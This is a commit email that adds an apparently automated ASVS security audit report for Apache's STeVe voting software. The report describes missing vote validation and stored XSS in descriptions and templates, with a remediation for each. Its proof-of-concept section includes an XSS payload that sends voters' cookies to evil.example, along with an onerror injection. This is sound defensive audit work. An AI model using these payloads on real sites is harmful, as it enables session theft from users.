You are viewing a plain text version of this content. The canonical link for it is here.
Posted to commits@tooling.apache.org by as...@apache.org on 2026/04/22 08:08:49 UTC

(tooling-agents) branch main updated: ASVS L3 audit: 1.3.9 (input_validation_and_injection)

This is an automated email from the ASF dual-hosted git repository.

asf-tooling pushed a commit to branch main
in repository https://gitbox.apache.org/repos/asf/tooling-agents.git


The following commit(s) were added to refs/heads/main by this push:
     new 8e7a956  ASVS L3 audit: 1.3.9 (input_validation_and_injection)
8e7a956 is described below

commit 8e7a956966c70e9b59c208ee1f37853b721a4712
Author: ASF Tooling Team <ro...@apache.org>
AuthorDate: Wed Apr 22 10:08:45 2026 +0200

    ASVS L3 audit: 1.3.9 (input_validation_and_injection)
---
 .../input_validation_and_injection/1.3.9.md        | 421 +++++++++++++++++++++
 1 file changed, 421 insertions(+)

diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.3.9.md b/repos/apache/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.3.9.md
new file mode 100644
index 0000000..12fd86b
--- /dev/null
+++ b/repos/apache/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.3.9.md
@@ -0,0 +1,421 @@
+# ASVS 1.3.9 Security Audit Report
+
+## Executive Summary
+
+- **Repository:** apache/steve
+- **Audit Date:** Apr 22, 2026
+- **Auditor:** Tooling Agents
+- **ASVS Requirement:** 1.3.9 — Verify that the application sanitizes content before it is sent to memcache to prevent injection attacks (Level 2, Section: Sanitization)
+- **Files analyzed:** 23 relevant out of 23 total, 0 skipped
+
+### Finding Counts
+
+| Severity | Count |
+|----------|-------|
+| Critical | 0 |
+| High | 0 |
+| Medium | 3 |
+| Low | 0 |
+| **Total** | **3** |
+
+### Applicability Note
+
+**ASVS 1.3.9 specifically addresses memcache injection.** After thorough review of all provided source files, **the application does not use memcache** (no memcached client imports, no cache configuration, no cache operations). The application uses SQLite directly via `asfpy.db`. Therefore, the specific memcache injection requirement is **not directly applicable**.
+
+However, per the domain context and the broader "Sanitization" section objectives, the audit examines content sanitization before data reaches relevant interpreters (SQL, LDAP, HTML, filesystem).
+
+---
+
+## Security Controls Inventory
+
+| Control | Defined At | Coverage | Status |
+|---------|-----------|----------|--------|
+| Parameterized SQL queries | `queries.yaml` (all queries use `?`) | All database operations via `asfpy.db` | ✅ Complete |
+| LDAP query hardcoded filter | `asf-load-ldap.py:48` (`'uid=*'`) | LDAP search | ✅ Complete |
+| EZT `[format "js,html"]` escaping | `manage.ezt`, `manage-stv.ezt` | JS onclick contexts only | ⚠️ Partial |
+| Vote type assertion | `election.py:183` (`assert vtype in vtypes.TYPES`) | Issue creation/editing | ✅ Applied |
+| Votestring format validation | `election.py:216` (comment only) | Vote submission | ❌ NOT IMPLEMENTED |
+| Election state assertions | `election.py` (multiple methods) | State-changing operations | ✅ Applied |
+| `send_from_directory` path safety | `pages.py:690` | Document serving | ✅ Built-in |
+
+---
+
+## Critical File Review
+
+### `v3/steve/election.py` — Core Business Logic
+
+| Function | Input Source | Sanitization | Finding |
+|----------|-------------|--------------|---------|
+| `add_vote()` | Web form via `pages.py` | **None** (TODO comment) | **SEV-001** |
+| `add_issue()` | Web form | `vtype` validated; title/description not sanitized for output | SEV-003 at output |
+| `edit_issue()` | Web form | `vtype` validated; title/description not sanitized for output | SEV-003 at output |
+| `create()` | Web form (title) | Parameterized SQL only | SEV-003 at output |
+| `kv2json()` / `json2kv()` | Database / Admin input | `json.dumps`/`json.loads` — safe | ✅ |
+
+### `v3/server/pages.py` — Request Handlers
+
+| Function | Input Source | Sanitization | Finding |
+|----------|-------------|--------------|---------|
+| `do_vote_endpoint()` | POST form | No vote format validation | **SEV-001** |
+| `do_create_endpoint()` | POST form | Title used in flash unsanitized | SEV-003 |
+| `do_add_issue_endpoint()` | POST form | Description stored unsanitized | SEV-002/003 |
+| `rewrite_description()` | Database (admin-sourced) | Creates HTML from unescaped content | **SEV-002** |
+| `serve_doc()` | URL path params | `send_from_directory` protects; DB check validates IID | ✅ |
+| `_set_election_date()` | JSON body | Date format validated via `fromisoformat()` | ✅ |
+
+---
+
+## Findings
+
+### Medium Severity
+
+#### ASVS-1309-MED-001: Missing Vote Data Sanitization Before Storage
+
+**Severity:** MEDIUM  
+**Gap Type:** Type B — Control EXISTS (comment acknowledges need) but NOT IMPLEMENTED (false confidence)
+
+**Location:**
+- **File:** `v3/steve/election.py`
+- **Function:** `add_vote()`
+- **Line:** 216
+
+**Related Functions:**
+- `v3/server/pages.py`, function `do_vote_endpoint()`, lines 424–440
+
+**Description:**
+
+The application accepts arbitrary vote strings from user input without validating them against the issue's vote type before encryption and storage. A TODO comment at line 216 indicates awareness of this requirement, but the validation was never implemented.
+
+**Vulnerable Code (`election.py:214-223`):**
+
+```python
+def add_vote(self, pid: str, iid: str, votestring: str):
+    "Add VOTESTRING as the (latest) vote by PID for IID."
+
+    # The Election should be open.
+    md = self._all_metadata(self.S_OPEN)
+
+    ### validate VOTESTRING for ISSUE.TYPE voting   # <-- TODO, never implemented
+
+    mayvote = self.q_get_mayvote.first_row(pid, iid)
+    vote_token = crypto.gen_vote_token(md.opened_key, pid, iid, mayvote.salt)
+
+    # Pass MAYVOTE.SALT for PBKDF.
+    ciphertext = crypto.create_vote(vote_token, mayvote.salt, votestring)
+
+    self.c_add_vote.perform(vote_token, ciphertext)
+```
+
+**Vulnerable Code (`pages.py:424-440`):**
+
+```python
+# Extract votes from form (keys like 'vote-<iid>')
+votes = {}
+for key, value in form.items():
+    if key.startswith('vote-'):
+        iid = key.split('-', 1)[1]
+        votes[iid] = value
+# ...
+for iid, votestring in votes.items():
+    # ...
+    election.add_vote(result.uid, iid, votestring)
+```
+
+**Data Flow:**
+
+```
+POST form data (user-controlled 'value') 
+  → do_vote_endpoint() extracts raw value 
+  → election.add_vote(pid, iid, votestring) 
+  → NO validation against issue vote type 
+  → crypto.create_vote() encrypts and stores
+  → Later: tally_issue() decrypts → vtypes.tally() processes unvalidated data
+```
+
+**Proof of Concept:**
+
+```http
+POST /do-vote/VALID_EID HTTP/1.1
+Content-Type: application/x-www-form-urlencoded
+
+vote-VALID_IID=INVALID_GARBAGE_STRING_NOT_Y_N_OR_A
+```
+
+For a YNA issue, the server accepts any string (not just `y`, `n`, `a`). For STV, any string is accepted (not just valid comma-separated candidate labels).
+
+**Impact:**
+
+Arbitrary vote strings are encrypted and stored. During tallying, the `vtypes` module receives unvalidated data that could cause tally errors, crashes, or incorrect election results. In a voting system, integrity of recorded votes is critical.
+
+**Remediation:**
+
+```python
+def add_vote(self, pid: str, iid: str, votestring: str):
+    md = self._all_metadata(self.S_OPEN)
+
+    # Validate votestring against issue type
+    issue = self.q_get_issue.first_row(iid)
+    if not issue:
+        raise IssueNotFound(iid)
+    
+    m = vtypes.vtype_module(issue.type)
+    if not m.validate_vote(votestring, self.json2kv(issue.kv)):
+        raise InvalidVote(iid, votestring)
+
+    mayvote = self.q_get_mayvote.first_row(pid, iid)
+    vote_token = crypto.gen_vote_token(md.opened_key, pid, iid, mayvote.salt)
+    ciphertext = crypto.create_vote(vote_token, mayvote.salt, votestring)
+    self.c_add_vote.perform(vote_token, ciphertext)
+```
+
+---
+
+#### ASVS-1309-MED-002: HTML Injection via Unsanitized Description in `rewrite_description`
+
+**Severity:** MEDIUM  
+**Gap Type:** Type A — Entry point with NO sanitization control
+
+**Location:**
+- **File:** `v3/server/pages.py`
+- **Function:** `rewrite_description()`
+- **Lines:** 27–35
+
+**Related Functions:**
+- Template: `v3/server/templates/vote-on.ezt`, line rendering `[issues.description]`
+
+**Description:**
+
+The `rewrite_description()` function processes issue descriptions to convert `doc:filename` patterns into HTML links. However, it does not sanitize the filename or description content before constructing HTML, allowing HTML injection through specially crafted filenames.
+
+**Vulnerable Code (`pages.py:27-35`):**
+
+```python
+def rewrite_description(issue):
+    """Rewrite issue description: wrap in <pre> and convert doc:filename to links."""
+    import re
+    desc = issue.description
+    # Replace doc:filename with <a> link
+    def repl(match):
+        filename = match.group(1)
+        return f'<a href="/docs/{issue.iid}/{filename}">{filename}</a>'
+    desc = re.sub(r'doc:([^\s]+)', repl, desc)
+    # Wrap in <pre>
+    issue.description = f'<pre>{desc}</pre>'
+```
+
+**Data Flow:**
+
+```
+Election admin submits issue description via POST /do-add-issue/<eid>
+  → form.description stored in DB (no sanitization, SQL injection prevented by parameterization)
+  → vote_on_page() calls rewrite_description(issue)
+  → regex extracts filename from 'doc:FILENAME' patterns
+  → filename injected into <a href="..." > without HTML attribute escaping
+  → result assigned as raw HTML string
+  → EZT template outputs [issues.description] without escaping
+  → Voter's browser executes injected content
+```
+
+**Proof of Concept:**
+
+An election admin creates an issue with this description:
+
+```
+Please review doc:"onclick="fetch('https://evil.example/steal?c='+document.cookie)" before voting.
+```
+
+The regex `r'doc:([^\s]+)'` matches and extracts `"onclick="fetch('https://evil.example/steal?c='+document.cookie)"` as `filename`.
+
+The generated HTML becomes:
+
+```html
+<pre>Please review <a href="/docs/IID/"onclick="fetch('https://evil.example/steal?c='+document.cookie)"">"onclick="fetch('https://evil.example/steal?c='+document.cookie)"</a> before voting.</pre>
+```
+
+This injects an `onclick` handler into the `<a>` tag. When any voter clicks the link, their session cookie is exfiltrated.
+
+**Impact:**
+
+Stored XSS affecting all voters viewing an election. In a voting system, this could be used to steal voter sessions, manipulate the displayed ballot, or influence voting behavior. The missing authorization checks (noted `### check authz` comments on issue creation/editing endpoints) widen the attack surface to any authenticated committer.
+
+**Remediation:**
+
+```python
+import html
+
+def rewrite_description(issue):
+    """Rewrite issue description safely."""
+    import re
+    desc = html.escape(issue.description or '')  # Escape HTML entities first
+    def repl(match):
+        filename = match.group(1)
+        safe_filename = html.escape(filename)
+        return f'<a href="/docs/{html.escape(issue.iid)}/{safe_filename}">{safe_filename}</a>'
+    desc = re.sub(r'doc:([^\s]+)', repl, desc)
+    issue.description = f'<pre>{desc}</pre>'
+```
+
+---
+
+#### ASVS-1309-MED-003: Inconsistent Output Encoding in EZT Templates
+
+**Severity:** MEDIUM  
+**Gap Type:** Type B — Escaping control EXISTS (`[format "js,html"]`) but NOT APPLIED at most output points
+
+**Location:**
+- **Files:** Multiple templates and `pages.py`
+
+**Related Functions:**
+- Multiple template files: `manage.ezt`, `manage-stv.ezt`, `flashes.ezt`
+- Multiple flash message calls in `pages.py`
+
+**Description:**
+
+The EZT template engine supports output escaping via `[format]` directives, and this is correctly used in some JavaScript contexts. However, the majority of template outputs rendering user-sourced data do not apply any escaping, resulting in stored XSS vulnerabilities.
+
+**Evidence of control existence (`manage.ezt`, lines using escaping):**
+
+```html
+onclick="openEditIssueModal('[issues.iid]',
+                            '[format "js,html"][issues.title][end]',
+                            '[format "js,html"][issues.description][end]')"
+```
+
+**Evidence of control NOT applied (same file, `manage.ezt`):**
+
+```html
+<strong>[issues.title]</strong>
+<!-- ... -->
+<div id="description-[issues.iid]" class="description mt-2">[issues.description]</div>
+```
+
+**Additional unescaped outputs in `flashes.ezt`:**
+
+```html
+[flashes.message]
+```
+
+**Where flash messages include user content (`pages.py`):**
+
+```python
+await flash_success(f'Created election: {form.title}')           # line ~472
+await flash_success(f'Issue "{form.title}" has been added.')     # line ~531
+await flash_danger(f'Invalid issue ID: {iid}')                  # line ~439
+```
+
+**Data Flow (stored XSS via title):**
+
+```
+Admin POST /do-add-issue/<eid> with title="<img src=x onerror=alert(1)>"
+  → Stored in DB via parameterized query
+  → manage.ezt renders: <strong>[issues.title]</strong>
+  → EZT outputs raw: <strong><img src=x onerror=alert(1)></strong>
+  → XSS executes for any user viewing the election management page
+```
+
+**Impact:**
+
+Stored XSS in election titles and descriptions affects all users who view elections (voters, other admins). The EZT escaping directive exists and is used in 4 locations but is missing from approximately 30+ template output points rendering user-sourced data.
+
+**Remediation:**
+
+Either configure EZT for default escaping, or systematically apply `[format "html"]` to all user-sourced template variables. For flash messages, sanitize content before calling `quart.flash()`:
+
+```python
+import html
+
+async def do_create_endpoint():
+    # ...
+    safe_title = html.escape(form.title)
+    await flash_success(f'Created election: {safe_title}')
+```
+
+---
+
+## Positive Security Patterns
+
+| Pattern | Location | Assessment |
+|---------|----------|------------|
+| **All SQL queries use parameterized binding** | `queries.yaml` — every query uses `?` placeholders | ✅ Excellent — eliminates SQL injection across the entire data layer |
+| **LDAP search uses hardcoded filter** | `asf-load-ldap.py:48` — `'uid=*'` | ✅ No user input enters LDAP queries; LDAP injection not possible |
+| **YAML parsed with `safe_load`** | `create-election.py:66` — `yaml.safe_load(data)` | ✅ Prevents arbitrary object deserialization |
+| **`send_from_directory` for file serving** | `pages.py:690,695` | ✅ Built-in path traversal protection via `safe_join` |
+| **Vote type validation on issue creation** | `election.py:183` — `assert vtype in vtypes.TYPES` | ✅ Prevents invalid vote type storage |
+| **Sensitive data excluded from query results** | `queries.yaml` comments; `election.py:get_metadata()` | ✅ Salt and opened_key never returned to clients |
+| **EZT JS+HTML escaping used in onclick handlers** | `manage.ezt`, `manage-stv.ezt` — `[format "js,html"]` | ✅ Correct where applied (but incomplete coverage) |
+| **Cryptographic ID generation** | `election.py:create()`, `add_issue()` — `crypto.create_id()` | ✅ IDs are system-generated, not user-supplied |
+| **LDAPS (TLS) for LDAP connection** | `asf-load-ldap.py:28` — `ldaps://` | ✅ Encrypted transport for directory queries |
+
+---
+
+## Architecture Observations
+
+1. **No memcache or caching layer exists** — ASVS 1.3.9 is not directly applicable to this application. The data path is: user → Quart web framework → `asfpy.db` → SQLite, with no intermediate cache.
+
+2. **SQL injection risk is well-mitigated** — The `asfpy.db` + `queries.yaml` pattern centralizes all queries with parameter binding. No string concatenation for SQL was found anywhere.
+
+3. **Template escaping is opt-in, not default** — EZT requires explicit `[format]` directives for escaping. The developers demonstrate knowledge of this (used in JS contexts) but have not applied it systematically across HTML body outputs.
+
+4. **Vote data integrity gap** — The system encrypts votes for confidentiality but does not validate vote format before encryption. The TODO comment at `election.py:216` indicates awareness but the control was never implemented, creating a false confidence scenario.
+
+---
+
+## Recommendations Summary
+
+### Immediate Actions
+
+| Priority | Action | Findings Addressed | Effort |
+|----------|--------|-------------------|--------|
+| **1** | Implement server-side votestring validation in `add_vote()` — validate YNA values are in `{y, n, a}` and STV values are valid comma-separated candidate labels from the issue's labelmap | ASVS-1309-MED-001 | Medium |
+| **2** | HTML-escape all user-sourced content in `rewrite_description()` before constructing HTML strings | ASVS-1309-MED-002 | Low |
+
+### Short-term Actions
+
+| Priority | Action | Findings Addressed | Effort |
+|----------|--------|-------------------|--------|
+| **3** | Audit all EZT template outputs and add `[format "html"]` to every variable containing user-sourced data, or implement a wrapper that escapes by default | ASVS-1309-MED-003 | High |
+| **4** | HTML-escape user content before including in flash messages | ASVS-1309-MED-003 | Low |
+
+### Long-term Actions
+
+- Consider implementing Content Security Policy (CSP) headers to provide defense-in-depth against XSS
+- Implement authorization checks at all issue creation/editing endpoints (currently marked with `### check authz` comments)
+- Consider migrating to a template engine with automatic escaping by default
+- Implement comprehensive input validation framework with centralized validation rules
+
+---
+
+## Appendix: Files Analyzed
+
+<details>
+<summary>Click to expand complete file list (23 files)</summary>
+
+1. `v3/queries.yaml` (relevance: 10)
+2. `v3/server/api.py` (relevance: 10)
+3. `v3/server/bin/asf-load-ldap.py` (relevance: 10)
+4. `v3/server/bin/create-election.py` (relevance: 10)
+5. `v3/server/pages.py` (relevance: 10)
+6. `v3/server/templates/about.ezt` (relevance: 10)
+7. `v3/server/templates/admin.ezt` (relevance: 10)
+8. `v3/server/templates/e_bad_eid.ezt` (relevance: 10)
+9. `v3/server/templates/e_bad_iid.ezt` (relevance: 10)
+10. `v3/server/templates/e_bad_pid.ezt` (relevance: 10)
+11. `v3/server/templates/flashes.ezt` (relevance: 10)
+12. `v3/server/templates/footer.ezt` (relevance: 10)
+13. `v3/server/templates/header.ezt` (relevance: 10)
+14. `v3/server/templates/home.ezt` (relevance: 10)
+15. `v3/server/templates/manage-stv.ezt` (relevance: 10)
+16. `v3/server/templates/manage.ezt` (relevance: 10)
+17. `v3/server/templates/privacy.ezt` (relevance: 10)
+18. `v3/server/templates/profile.ezt` (relevance: 10)
+19. `v3/server/templates/settings.ezt` (relevance: 10)
+20. `v3/server/templates/vote-on.ezt` (relevance: 10)
+21. `v3/server/templates/voter.ezt` (relevance: 10)
+22. `v3/steve/election.py` (relevance: 10)
+23. `v3/steve/persondb.py` (relevance: 10)
+
+</details>
+
+---
+
+**End of Report**
\ No newline at end of file


---------------------------------------------------------------------
To unsubscribe, e-mail: commits-unsubscribe@tooling.apache.org
For additional commands, e-mail: commits-help@tooling.apache.org